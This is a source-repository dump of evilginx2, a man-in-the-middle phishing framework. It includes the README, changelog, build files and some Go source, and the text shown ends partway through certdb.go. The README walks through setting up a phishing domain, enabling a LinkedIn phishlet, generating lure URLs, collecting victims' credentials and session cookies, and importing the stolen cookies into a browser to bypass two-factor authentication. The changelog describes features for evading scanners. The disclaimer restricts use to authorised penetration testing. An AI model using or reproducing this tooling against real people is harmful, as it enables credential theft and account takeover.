├── .dockerignore
├── .github
├── media
│ └── img
│ │ ├── evilginx2-logo-512.png
│ │ ├── evilginx2-title-black-512.png
│ │ └── screen.png
└── workflows
│ ├── codeql-analysis.yml
│ └── test.yml
├── .gitignore
├── .golangci.yml
├── CHANGELOG
├── Dockerfile
├── ISSUE_TEMPLATE.md
├── LICENSE
├── Makefile
├── README.md
├── core
├── banner.go
├── blacklist.go
├── certdb.go
├── config.go
├── help.go
├── http_proxy.go
├── http_server.go
├── nameserver.go
├── phishlet.go
├── session.go
├── shared.go
├── table.go
├── terminal.go
└── utils.go
├── database
├── database.go
└── db_session.go
├── go.mod
├── go.sum
├── goreleaser.yml
├── log
└── log.go
├── main.go
├── main_test.go
├── parser
└── parser.go
├── phishlets
├── airbnb.yaml
├── amazon.yaml
├── booking.yaml
├── citrix.yaml
├── coinbase.yaml
├── facebook.yaml
├── github.yaml
├── instagram.yaml
├── linkedin.yaml
├── o365.yaml
├── okta.yaml
├── onelogin.yaml
├── outlook.yaml
├── paypal.yaml
├── protonmail.yaml
├── reddit.yaml
├── tiktok.yaml
├── twitter-mobile.yaml
├── twitter.yaml
└── wordpress.org.yaml
└── templates
└── download_example.html
/.dockerignore:
--------------------------------------------------------------------------------
1 | Dockerfile
2 | Makefile
3 | README.md
4 | LICENSE
5 | media
6 |
--------------------------------------------------------------------------------
/.github/media/img/evilginx2-logo-512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hash3liZer/evilginx2/65d649f23ca6a042bd2a2a23e7727d049ff7ce17/.github/media/img/evilginx2-logo-512.png
--------------------------------------------------------------------------------
/.github/media/img/evilginx2-title-black-512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hash3liZer/evilginx2/65d649f23ca6a042bd2a2a23e7727d049ff7ce17/.github/media/img/evilginx2-title-black-512.png
--------------------------------------------------------------------------------
/.github/media/img/screen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hash3liZer/evilginx2/65d649f23ca6a042bd2a2a23e7727d049ff7ce17/.github/media/img/screen.png
--------------------------------------------------------------------------------
/.github/workflows/codeql-analysis.yml:
--------------------------------------------------------------------------------
1 | # For most projects, this workflow file will not need changing; you simply need
2 | # to commit it to your repository.
3 | #
4 | # You may wish to alter this file to override the set of languages analyzed,
5 | # or to provide custom queries or build logic.
6 | name: "CodeQL"
7 |
8 | on:
9 | push:
10 | branches: [master]
11 | pull_request:
12 | # The branches below must be a subset of the branches above
13 | branches: [master]
14 | schedule:
15 | - cron: '0 2 * * 2'
16 |
17 | jobs:
18 | analyze:
19 | name: Analyze
20 | runs-on: ubuntu-latest
21 |
22 | strategy:
23 | fail-fast: false
24 | matrix:
25 | # Override automatic language detection by changing the below list
26 | # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python']
27 | language: ['go']
28 | # Learn more...
29 | # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection
30 |
31 | steps:
32 | - name: Checkout repository
33 | uses: actions/checkout@v2
34 | with:
35 | # We must fetch at least the immediate parents so that if this is
36 | # a pull request then we can checkout the head.
37 | fetch-depth: 2
38 |
39 | # If this run was triggered by a pull request event, then checkout
40 | # the head of the pull request instead of the merge commit.
41 | - run: git checkout HEAD^2
42 | if: ${{ github.event_name == 'pull_request' }}
43 |
44 | # Initializes the CodeQL tools for scanning.
45 | - name: Initialize CodeQL
46 | uses: github/codeql-action/init@v1
47 | with:
48 | languages: ${{ matrix.language }}
49 | # If you wish to specify custom queries, you can do so here or in a config file.
50 | # By default, queries listed here will override any specified in a config file.
51 | # Prefix the list here with "+" to use these queries and those in the config file.
52 | # queries: ./path/to/local/query, your-org/your-repo/queries@main
53 |
54 | # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
55 | # If this step fails, then you should remove it and run the build manually (see below)
56 | - name: Autobuild
57 | uses: github/codeql-action/autobuild@v1
58 |
59 | # ℹ️ Command-line programs to run using the OS shell.
60 | # 📚 https://git.io/JvXDl
61 |
62 | # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
63 | # and modify them (or add more) to build your code if your project
64 | # uses a compiled language
65 |
66 | #- run: |
67 | # make bootstrap
68 | # make release
69 |
70 | - name: Perform CodeQL Analysis
71 | uses: github/codeql-action/analyze@v1
72 |
--------------------------------------------------------------------------------
/.github/workflows/test.yml:
--------------------------------------------------------------------------------
1 | on: [push, pull_request]
2 | name: Pipeline
3 | jobs:
4 | test:
5 | name: Test
6 | runs-on: ubuntu-latest
7 | steps:
8 | - name: Install Go
9 | uses: actions/setup-go@v2
10 | - name: Checkout code
11 | uses: actions/checkout@v2
12 | - name: E2E Test
13 | run: sudo -E go test
14 | env:
15 | REDDITPASSWORD: ${{ secrets.REDDITPASSWORD }}
16 | golangci:
17 | name: Lint
18 | runs-on: ubuntu-latest
19 | steps:
20 | - uses: actions/checkout@v2
21 | - name: golangci-lint
22 | uses: golangci/golangci-lint-action@v2
23 | with:
24 | # Required: the version of golangci-lint is required and must be specified without patch version: we always use the latest patch version.
25 | version: v1.31
26 | goreleaser:
27 | name: Release
28 | if: startsWith(github.ref, 'refs/tags/v')
29 | needs: [test]
30 | runs-on: ubuntu-latest
31 | steps:
32 | - name: Checkout
33 | uses: actions/checkout@v2
34 | with:
35 | fetch-depth: 0
36 | - name: Set up Go
37 | uses: actions/setup-go@v2
38 | - name: Run GoReleaser
39 | uses: goreleaser/goreleaser-action@v2
40 | with:
41 | version: latest
42 | args: release --rm-dist
43 | env:
44 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | phishlets/test-*
2 | /*.exe
3 | /tmp_cfg
4 | /export.json
5 |
--------------------------------------------------------------------------------
/.golangci.yml:
--------------------------------------------------------------------------------
1 | linters:
2 | disable:
3 | - errcheck
4 |
5 | issues:
6 | exclude-rules:
7 | - path: db_session\.go
8 | linters:
9 | - staticcheck
10 | text: "CreateIndex is deprecated"
11 |
12 | linters-settings:
13 | nolintlint:
14 | require-explanation: true
15 | require-specific: true
--------------------------------------------------------------------------------
/CHANGELOG:
--------------------------------------------------------------------------------
1 | 2.4.0
2 | - Feature: Create and set up pre-phish HTML templates for your campaigns. Create your HTML file and place `{lure_url_html}` or `{lure_url_js}` in code to manage redirection to the phishing page with any form of user interaction. Command: `lures edit template `
3 | - Feature: Create customized hostnames for every phishing lure. Command: `lures edit hostname `.
4 | - Feature: Support for routing connection via SOCKS5 and HTTP(S) proxies. Command: `proxy`.
5 | - Feature: IP blacklist with automated IP address blacklisting and blocking on all or unauthorized requests. Command: `blacklist`
6 | - Feature: Custom parameters can now be embedded encrypted in the phishing url. Command: `lures get-url param1=value1 param2="value2 with spaces"`.
7 | - Feature: Requests to phishing urls can now be rejected if User-Agent of the visitor doesn't match the whitelist regular expression filter for given lure. Command: `lures edit ua_filter `
8 | - List of custom parameters can now be imported directly from file (text, csv, json). Command: `lures get-url import `.
9 | - Generated phishing urls can now be exported to file (text, csv, json). Command: `lures get-url import export `.
10 | - Fixed: Requesting LetsEncrypt certificates multiple times without restarting. Subsequent requests would result in "No embedded JWK in JWS header" error.
11 | - Removed setting custom parameters in lures options. Parameters will now only be sent encoded with the phishing url.
12 | - Added `with_params` option to `sub_filter` allowing to enable the sub_filter only when specific parameter was set with the phishing url.
13 | - Made command help screen easier to read.
14 | - Improved autofill for `lures edit` commands and switched positions of `` and the variable name.
15 | - Increased the duration of whitelisting authorized connections for whole IP address from 15 seconds to 10 minutes.
16 |
17 | 2.3.3
18 | - Fixed: Multiple concurrent map writes when whitelisting IPs during heavy loads.
19 |
20 | 2.3.2
21 | - ACMEv2 support added to comply with LetsEncrypt requirements.
22 | - Fixed session cookie output to support EditThisCookie on the latest Chrome version.
23 | - Increased timeouts for proxying HTTP packets to 45 seconds.
24 | - Added support for Go modules.
25 |
26 | 2.3.1
27 | - Redirection is now triggered only for responses with `text/html` content-type header.
28 |
29 | 2.3.0
30 | - Proxy can now create most of required `sub_filters` on its own, making it much easier to create new phishlets.
31 | - Added lures, with which you can prepare custom phishing URLs with each having its own set of unique options (`help lures` for more info).
32 | - Added OpenGraph settings for lures, allowing to create enticing content for link previews.
33 | - Added ability to inject custom Javascript into proxied pages.
34 | - Injected Javascript can be customized with values of custom parameters, specified in lure options.
35 | - Deprecated `landing_path` and replaced it with `login` section, which contains the domain and path for website's login page.
36 |
37 | 2.2.1
38 | - Fixed: `type` with value `json` was not correctly activated when set under `credentials`.
39 |
40 | 2.2.0
41 | - Now when any of `auth_urls` is triggered, the redirection will take place AFTER response cookies for that request are captured.
42 | - Regular expression groups working with `sub_filters`.
43 | - Phishlets are now listed in a table.
44 | - Restructured phishlet YAML config file to be easier to understand (phishlets from previous versions need to be updated to new format).
45 | - Phishlet fields are now selectively lowercased and validated upon loading to prevent surprises.
46 | - All search fields in the phishlet are now regular expressions by default (remember about proper escaping!).
47 | - Added option to capture custom POST arguments additionally to credentials. Check `custom` field under `credentials`.
48 | - Added feature to inject custom POST arguments to requests. Useful when forcing users to tick that "Remember me" checkbox.
49 | - Removed 'name' variable from phishlets. Phishlet name is now determined solely based on the filename.
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM golang:1.13.1-alpine as build
2 |
3 | RUN apk add --update \
4 | git \
5 | && rm -rf /var/cache/apk/*
6 |
7 | RUN wget -O /usr/local/bin/dep https://github.com/golang/dep/releases/download/v0.5.0/dep-linux-amd64 && chmod +x /usr/local/bin/dep
8 |
9 | WORKDIR /go/src/github.com/kgretzky/evilginx2
10 |
11 | COPY go.mod go.sum ./
12 |
13 | ENV GO111MODULE on
14 |
15 | RUN go mod download
16 |
17 | COPY . /go/src/github.com/kgretzky/evilginx2
18 |
19 | RUN go build -o ./bin/evilginx main.go
20 |
21 | FROM alpine:3.8
22 |
23 | RUN apk add --update \
24 | ca-certificates \
25 | && rm -rf /var/cache/apk/*
26 |
27 | WORKDIR /app
28 |
29 | COPY --from=build /go/src/github.com/kgretzky/evilginx2/bin/evilginx /app/evilginx
30 | COPY ./phishlets/*.yaml /app/phishlets/
31 |
32 | VOLUME ["/app/phishlets/"]
33 |
34 | EXPOSE 443 80 53/udp
35 |
36 | ENTRYPOINT ["/app/evilginx"]
37 |
--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | #### DO NOT ASK FOR PHISHLETS.
2 | #### DO NOT ASK FOR HELP CREATING PHISHLETS.
3 | #### DO NOT ASK TO FIX PHISHLETS.
4 | #### DO NOT ADVERTISE OR TRY TO SELL PHISHLETS.
5 |
6 | #### EXPECT A BAN OTHERWISE. THANK YOU!
7 |
8 | #### REPORT ONLY BUGS OR FEATURE SUGGESTIONS.
9 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | TARGET=evilginx
2 | PACKAGES=core database log parser
3 |
4 | .PHONY: all
5 | all: build
6 |
7 | build:
8 | @go build -o ./bin/$(TARGET)
9 |
10 | clean:
11 | @go clean
12 | @rm -f ./bin/$(TARGET)
13 |
14 | install:
15 | @mkdir -p /usr/share/evilginx/phishlets
16 | @mkdir -p /usr/share/evilginx/templates
17 | @cp ./phishlets/* /usr/share/evilginx/phishlets/
18 | @cp ./templates/* /usr/share/evilginx/templates/
19 | @cp ./bin/$(TARGET) /usr/local/bin
20 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | **evilginx2** is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection.
9 |
10 | This tool is a successor to [Evilginx](https://github.com/kgretzky/evilginx), released in 2017, which used a custom version of nginx HTTP server to provide man-in-the-middle functionality to act as a proxy between a browser and phished website.
11 | Present version is fully written in GO as a standalone application, which implements its own HTTP and DNS server, making it extremely easy to set up and use.
12 |
13 |
14 |
15 |
16 |
17 | ## Disclaimer
18 |
19 | I am very much aware that Evilginx can be used for nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration and find ways to protect their users against this type of phishing attacks. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.
20 |
21 | ## Write-up
22 |
23 | If you want to learn more about this phishing technique, I've published extensive blog posts about **evilginx2** here:
24 |
25 | [Evilginx 2.0 - Release](https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens)
26 |
27 | [Evilginx 2.1 - First Update](https://breakdev.org/evilginx-2-1-the-first-post-release-update/)
28 |
29 | [Evilginx 2.2 - Jolly Winter Update](https://breakdev.org/evilginx-2-2-jolly-winter-update/)
30 |
31 | [Evilginx 2.3 - Phisherman's Dream](https://breakdev.org/evilginx-2-3-phishermans-dream/)
32 |
33 | [Evilginx 2.4 - Gone Phishing](https://breakdev.org/evilginx-2-4-gone-phishing/)
34 |
35 | ## Video guide
36 |
37 | Take a look at the fantastic videos made by Luke Turvey ([@TurvSec](https://twitter.com/TurvSec)), which fully explain how to get started using **evilginx2**.
38 |
39 | [](https://www.youtube.com/watch?v=B3CycQgkVY0)
40 | [](https://www.youtube.com/watch?v=8mfsF5Qdqw0)
41 |
42 | ## Phishlet Masters - Hall of Fame
43 |
44 | Please thank the following contributors for devoting their precious time to deliver us fresh phishlets!
45 |
46 | [**@an0nud4y**](https://twitter.com/an0nud4y) - PayPal, TikTok, Coinbase, Airbnb
47 |
48 | [**@cust0msync**](https://twitter.com/cust0msync) - Amazon, Reddit
49 |
50 | [**@white_fi**](https://twitter.com/white_fi) - Twitter
51 |
52 | [**rvrsh3ll @424f424f**](https://twitter.com/424f424f) - Citrix
53 |
54 | [**audibleblink @4lex**](https://twitter.com/4lex) - GitHub
55 |
56 | [**@JamesCullum**](https://github.com/JamesCullum) - Office 365, Protonmail
57 |
58 | ## Installation
59 |
60 | You can either use a [precompiled binary package](https://github.com/hash3liZer/evilginx2/releases) for your architecture, use a [Docker container](https://hub.docker.com/r/heywoodlh/evilginx2) or you can compile **evilginx2** from source.
61 |
62 | You will need an external server where you'll host your **evilginx2** installation. I personally recommend Digital Ocean and if you follow my referral link, you will [get an extra $10 to spend on servers for free](https://m.do.co/c/50338abc7ffe).
63 |
64 | Evilginx runs very well on the most basic Debian 8 VPS.
65 |
66 | #### Installing from source
67 |
68 | In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)).
69 |
70 | When you have GO installed, type in the following:
71 |
72 | ```
73 | sudo apt-get -y install git make
74 | git clone https://github.com/hash3liZer/evilginx2.git
75 | cd evilginx2
76 | make
77 | ```
78 |
79 | or simply `go build -o ./bin/evilginx`
80 |
81 | You can now either run **evilginx2** from local directory like:
82 | ```
83 | sudo ./bin/evilginx -p ./phishlets/
84 | ```
85 | or install it globally:
86 | ```
87 | sudo make install
88 | sudo evilginx
89 | ```
90 |
91 | Instructions above can also be used to update **evilginx2** to the latest version.
92 |
93 | #### Installing with Docker
94 |
95 | You can launch **evilginx2** from within Docker. First build the image:
96 | ```
97 | docker build . -t evilginx2
98 | ```
99 |
100 | Then you can run the container:
101 | ```
102 | docker run -it -p 53:53/udp -p 80:80 -p 443:443 evilginx2
103 | ```
104 |
105 | Phishlets are loaded within the container at `/app/phishlets`, which can be mounted as a volume for configuration.
106 |
107 | #### Installing from precompiled binary packages
108 |
109 | Grab the package you want from [here](https://github.com/hash3liZer/evilginx2/releases) and drop it on your box. Then do:
110 | ```
111 | tar zxvf evilginx-linux-amd64.tar.gz
112 | cd evilginx
113 | ```
114 |
115 | If you want to do a system-wide install, use the install script with root privileges:
116 | ```
117 | chmod 700 ./install.sh
118 | sudo ./install.sh
119 | sudo evilginx
120 | ```
121 | or just launch **evilginx2** from the current directory (you will also need root privileges):
122 | ```
123 | chmod 700 ./evilginx
124 | sudo ./evilginx
125 | ```
126 |
127 | ## Usage
128 |
129 | **IMPORTANT!** Make sure that there is no service listening on ports `TCP 443`, `TCP 80` and `UDP 53`. You may need to shutdown apache or nginx and any service used for resolving DNS that may be running. **evilginx2** will tell you on launch if it fails to open a listening socket on any of these ports.
130 |
131 | By default, **evilginx2** will look for phishlets in `./phishlets/` directory and later in `/usr/share/evilginx/phishlets/`. If you want to specify a custom path to load phishlets from, use the `-p ` parameter when launching the tool.
132 |
133 | By default, **evilginx2** will look for HTML templates in `./templates/` directory and later in `/usr/share/evilginx/templates/`. If you want to specify a custom path to load HTML templates from, use the `-t ` parameter when launching the tool.
134 |
135 | ```
136 | Usage of ./evilginx:
137 | -c string
138 | Configuration directory path
139 | -debug
140 | Enable debug output
141 | -developer
142 | Enable developer mode (generates self-signed certificates for all hostnames)
143 | -p string
144 | Phishlets directory path
145 | -c string
146 | Configuration directory path
147 | -t string
148 | HTML templates directory path
149 | ```
150 |
151 | You should see **evilginx2** logo with a prompt to enter commands. Type `help` or `help ` if you want to see available commands or more detailed information on them.
152 |
153 | ## Getting started
154 |
155 | To get up and running, you need to first do some setting up.
156 |
157 | At this point I assume, you've already registered a domain (let's call it `yourdomain.com`) and you set up the nameservers (both `ns1` and `ns2`) in your domain provider's admin panel to point to your server's IP (e.g. 10.0.0.1):
158 | ```
159 | ns1.yourdomain.com = 10.0.0.1
160 | ns2.yourdomain.com = 10.0.0.1
161 | ```
162 |
163 | Set up your server's domain and IP using following commands:
164 | ```
165 | config domain yourdomain.com
166 | config ip 10.0.0.1
167 | ```
168 |
169 | Now you can set up the phishlet you want to use. For the sake of this short guide, we will use a LinkedIn phishlet. Set up the hostname for the phishlet (it must contain your domain obviously):
170 | ```
171 | phishlets hostname linkedin my.phishing.hostname.yourdomain.com
172 | ```
173 |
174 | And now you can `enable` the phishlet, which will initiate automatic retrieval of LetsEncrypt SSL/TLS certificates if none are locally found for the hostname you picked:
175 | ```
176 | phishlets enable linkedin
177 | ```
178 |
179 | Your phishing site is now live. Think of the URL, you want the victim to be redirected to on successful login and get the phishing URL like this (victim will be redirected to `https://www.google.com`):
180 | ```
181 | lures create linkedin
182 | lures edit 0 redirect_url https://www.google.com
183 | lures get-url 0
184 | ```
185 |
186 | Running phishlets will only respond to phishing links generating for specific lures, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid lure phishing URLs, use `phishlet hide/unhide ` command.
187 |
188 | You can monitor captured credentials and session cookies with:
189 | ```
190 | sessions
191 | ```
192 |
193 | To get detailed information about the captured session, with the session cookie itself (it will be printed in JSON format at the bottom), select its session ID:
194 | ```
195 | sessions
196 | ```
197 |
198 | The captured session cookie can be copied and imported into Chrome browser, using [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) extension.
199 |
200 | **Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` or `tmux` session.
201 |
202 | ## Support
203 |
204 | I DO NOT offer support for providing or creating phishlets. I will also NOT help you with creation of your own phishlets. There are many phishlets provided as examples, which you can use to create your own.
205 |
206 | ## License
207 |
208 | **evilginx2** is made by Kuba Gretzky ([@mrgretzky](https://twitter.com/mrgretzky)) and it's released under GPL3 license.
209 |
--------------------------------------------------------------------------------
/core/banner.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "fmt"
5 | "strings"
6 |
7 | "github.com/fatih/color"
8 | )
9 |
10 | const (
11 | VERSION = "2.4.3"
12 | )
13 |
14 | func putAsciiArt(s string) {
15 | for _, c := range s {
16 | d := string(c)
17 | switch string(c) {
18 | case " ":
19 | color.Set(color.BgRed)
20 | d = " "
21 | case "@":
22 | color.Set(color.BgBlack)
23 | d = " "
24 | case "#":
25 | color.Set(color.BgHiRed)
26 | d = " "
27 | case "W":
28 | color.Set(color.BgWhite)
29 | d = " "
30 | case "_":
31 | color.Unset()
32 | d = " "
33 | case "\n":
34 | color.Unset()
35 | }
36 | fmt.Print(d)
37 | }
38 | color.Unset()
39 | }
40 |
41 | func printLogo(s string) {
42 | for _, c := range s {
43 | d := string(c)
44 | switch string(c) {
45 | case "_":
46 | color.Set(color.FgWhite)
47 | case "\n":
48 | color.Unset()
49 | default:
50 | color.Set(color.FgHiBlack)
51 | }
52 | fmt.Print(d)
53 | }
54 | color.Unset()
55 | }
56 |
57 | func printUpdateName() {
58 | nameClr := color.New(color.FgHiRed)
59 | txt := nameClr.Sprintf(" - -- Gone Phishing -- -")
60 | fmt.Fprintf(color.Output, "%s", txt)
61 | }
62 |
63 | func printOneliner1() {
64 | handleClr := color.New(color.FgHiBlue)
65 | versionClr := color.New(color.FgGreen)
66 | textClr := color.New(color.FgHiBlack)
67 | spc := strings.Repeat(" ", 10-len(VERSION))
68 | txt := textClr.Sprintf(" by Kuba Gretzky (") + handleClr.Sprintf("@mrgretzky") + textClr.Sprintf(")") + spc + textClr.Sprintf("version ") + versionClr.Sprintf("%s", VERSION)
69 | fmt.Fprintf(color.Output, "%s", txt)
70 | }
71 |
72 | func Banner() {
73 | fmt.Println()
74 |
75 | putAsciiArt("__ __\n")
76 | putAsciiArt("_ @@ @@@@@@@@@@@@@@@@@@@ @@ _")
77 | printLogo(` ___________ __ __ __ `)
78 | fmt.Println()
79 | putAsciiArt(" @@@@ @@@@@@@@@@@@@@@@@@@@@ @@@@ ")
80 | printLogo(` \_ _____/__ _|__| | ____ |__| ____ ___ ___`)
81 | fmt.Println()
82 | putAsciiArt(" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ")
83 | printLogo(` | __)_\ \/ / | | / __ \| |/ \\ \/ /`)
84 | fmt.Println()
85 | putAsciiArt(" @@@@@@@@@@###@@@@@@@###@@@@@@@@@@ ")
86 | printLogo(` | \\ /| | |__/ /_/ > | | \> < `)
87 | fmt.Println()
88 | putAsciiArt(" @@@@@@@#####@@@@@#####@@@@@@@ ")
89 | printLogo(` /_______ / \_/ |__|____/\___ /|__|___| /__/\_ \`)
90 | fmt.Println()
91 | putAsciiArt(" @@@@@@@###@@@@@@@###@@@@@@@ ")
92 | printLogo(` \/ /_____/ \/ \/`)
93 | fmt.Println()
94 | putAsciiArt(" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ \n")
95 | putAsciiArt(" @@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@ ")
96 | printUpdateName()
97 | fmt.Println()
98 | putAsciiArt(" @@@@@@WW@@@WW@@WWW@@WW@@@WW@@@@@@ \n")
99 | //printOneliner2()
100 | //fmt.Println()
101 | putAsciiArt("_ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ _")
102 | printOneliner1()
103 | fmt.Println()
104 | putAsciiArt("__ __\n")
105 | fmt.Println()
106 | }
107 |
--------------------------------------------------------------------------------
/core/blacklist.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net"
7 | "os"
8 | "strings"
9 |
10 | "github.com/kgretzky/evilginx2/log"
11 | )
12 |
13 | const (
14 | BLACKLIST_MODE_FULL = 0
15 | BLACKLIST_MODE_UNAUTH = 1
16 | BLACKLIST_MODE_OFF = 2
17 | )
18 |
19 | type BlockIP struct {
20 | ipv4 net.IP
21 | mask *net.IPNet
22 | }
23 |
24 | type Blacklist struct {
25 | ips map[string]*BlockIP
26 | masks []*BlockIP
27 | configPath string
28 | mode int
29 | }
30 |
31 | func NewBlacklist(path string) (*Blacklist, error) {
32 | f, err := os.OpenFile(path, os.O_CREATE|os.O_RDONLY, 0644)
33 | if err != nil {
34 | return nil, err
35 | }
36 | defer f.Close()
37 |
38 | bl := &Blacklist{
39 | ips: make(map[string]*BlockIP),
40 | configPath: path,
41 | mode: BLACKLIST_MODE_OFF,
42 | }
43 |
44 | fs := bufio.NewScanner(f)
45 | fs.Split(bufio.ScanLines)
46 |
47 | for fs.Scan() {
48 | l := fs.Text()
49 | // remove comments
50 | if n := strings.Index(l, ";"); n > -1 {
51 | l = l[:n]
52 | }
53 | l = strings.Trim(l, " ")
54 |
55 | if len(l) > 0 {
56 | if strings.Contains(l, "/") {
57 | ipv4, mask, err := net.ParseCIDR(l)
58 | if err == nil {
59 | bl.masks = append(bl.masks, &BlockIP{ipv4: ipv4, mask: mask})
60 | } else {
61 | log.Error("blacklist: invalid ip/mask address: %s", l)
62 | }
63 | } else {
64 | ipv4 := net.ParseIP(l)
65 | if ipv4 != nil {
66 | bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
67 | } else {
68 | log.Error("blacklist: invalid ip address: %s", l)
69 | }
70 | }
71 | }
72 | }
73 |
74 | log.Info("blacklist: loaded %d ip addresses or ip masks", len(bl.ips)+len(bl.masks))
75 | return bl, nil
76 | }
77 |
78 | func (bl *Blacklist) AddIP(ip string) error {
79 | if bl.IsBlacklisted(ip) {
80 | return nil
81 | }
82 |
83 | ipv4 := net.ParseIP(ip)
84 | if ipv4 != nil {
85 | bl.ips[ipv4.String()] = &BlockIP{ipv4: ipv4, mask: nil}
86 | } else {
87 | return fmt.Errorf("blacklist: invalid ip address: %s", ip)
88 | }
89 |
90 | // write to file
91 | f, err := os.OpenFile(bl.configPath, os.O_APPEND|os.O_WRONLY, 0644)
92 | if err != nil {
93 | return err
94 | }
95 | defer f.Close()
96 |
97 | _, err = f.WriteString(ipv4.String() + "\n")
98 | if err != nil {
99 | return err
100 | }
101 |
102 | return nil
103 | }
104 |
105 | func (bl *Blacklist) IsBlacklisted(ip string) bool {
106 | ipv4 := net.ParseIP(ip)
107 | if ipv4 == nil {
108 | return false
109 | }
110 |
111 | if _, ok := bl.ips[ip]; ok {
112 | return true
113 | }
114 | for _, m := range bl.masks {
115 | if m.mask != nil && m.mask.Contains(ipv4) {
116 | return true
117 | }
118 | }
119 | return false
120 | }
121 |
--------------------------------------------------------------------------------
/core/certdb.go:
--------------------------------------------------------------------------------
1 | package core
2 |
3 | import (
4 | "crypto"
5 | "crypto/rand"
6 | "crypto/rsa"
7 | "crypto/tls"
8 | "crypto/x509"
9 | "crypto/x509/pkix"
10 | "encoding/pem"
11 | "fmt"
12 | "io/ioutil"
13 | "math/big"
14 | "os"
15 | "path/filepath"
16 | "time"
17 |
18 | "github.com/kgretzky/evilginx2/log"
19 |
20 | "github.com/go-acme/lego/v3/certcrypto"
21 | "github.com/go-acme/lego/v3/certificate"
22 | "github.com/go-acme/lego/v3/challenge"
23 | "github.com/go-acme/lego/v3/lego"
24 | legolog "github.com/go-acme/lego/v3/log"
25 | "github.com/go-acme/lego/v3/registration"
26 | )
27 |
28 | const HOSTS_DIR = "hosts"
29 |
30 | type CertDb struct {
31 | PrivateKey *rsa.PrivateKey
32 | CACert tls.Certificate
33 | client *lego.Client
34 | certUser CertUser
35 | dataDir string
36 | ns *Nameserver
37 | hs *HttpServer
38 | cfg *Config
39 | hostCache map[string]*tls.Certificate
40 | phishletCache map[string]map[string]*tls.Certificate
41 | tls_cache map[string]*tls.Certificate
42 | httpChallenge *HTTPChallenge
43 | }
44 |
45 | type CertUser struct {
46 | Email string
47 | Registration *registration.Resource
48 | key crypto.PrivateKey
49 | }
50 |
51 | func (u CertUser) GetEmail() string {
52 | return u.Email
53 | }
54 |
55 | func (u CertUser) GetRegistration() *registration.Resource {
56 | return u.Registration
57 | }
58 |
59 | func (u CertUser) GetPrivateKey() crypto.PrivateKey {
60 | return u.key
61 | }
62 |
63 | type HTTPChallenge struct {
64 | crt_db *CertDb
65 | }
66 |
67 | func (ch HTTPChallenge) Present(domain, token, keyAuth string) error {
68 | ch.crt_db.hs.AddACMEToken(token, keyAuth)
69 | return nil
70 | }
71 |
72 | func (ch HTTPChallenge) CleanUp(domain, token, keyAuth string) error {
73 | ch.crt_db.hs.ClearACMETokens()
74 | return nil
75 | }
76 |
77 | const acmeURL = "https://acme-v02.api.letsencrypt.org/directory"
78 |
79 | //const acmeURL = "https://acme-staging-v02.api.letsencrypt.org/directory"
80 |
81 | func NewCertDb(data_dir string, cfg *Config, ns *Nameserver, hs *HttpServer) (*CertDb, error) {
82 | d := &CertDb{
83 | cfg: cfg,
84 | dataDir: data_dir,
85 | ns: ns,
86 | hs: hs,
87 | }
88 |
89 | legolog.Logger = log.NullLogger()
90 | d.hostCache = make(map[string]*tls.Certificate)
91 | d.phishletCache = make(map[string]map[string]*tls.Certificate)
92 | d.tls_cache = make(map[string]*tls.Certificate)
93 |
94 | pkey_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "private.key"))
95 | if err != nil {
96 | // private key corrupted or not found, recreate and delete all public certificates
97 | os.RemoveAll(filepath.Join(data_dir, "*"))
98 |
99 | d.PrivateKey, err = rsa.GenerateKey(rand.Reader, 2048)
100 | if err != nil {
101 | return nil, fmt.Errorf("private key generation failed")
102 | }
103 | pkey_pem = pem.EncodeToMemory(&pem.Block{
104 | Type: "RSA PRIVATE KEY",
105 | Bytes: x509.MarshalPKCS1PrivateKey(d.PrivateKey),
106 | })
107 | err = ioutil.WriteFile(filepath.Join(data_dir, "private.key"), pkey_pem, 0600)
108 | if err != nil {
109 | return nil, err
110 | }
111 | } else {
112 | block, _ := pem.Decode(pkey_pem)
113 | if block == nil {
114 | return nil, fmt.Errorf("private key is corrupted")
115 | }
116 |
117 | d.PrivateKey, err = x509.ParsePKCS1PrivateKey(block.Bytes)
118 | if err != nil {
119 | return nil, err
120 | }
121 | }
122 |
123 | ca_crt_pem, err := ioutil.ReadFile(filepath.Join(data_dir, "ca.crt"))
124 | if err != nil {
125 | notBefore := time.Now()
126 | aYear := time.Duration(10*365*24) * time.Hour
127 | notAfter := notBefore.Add(aYear)
128 | serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)
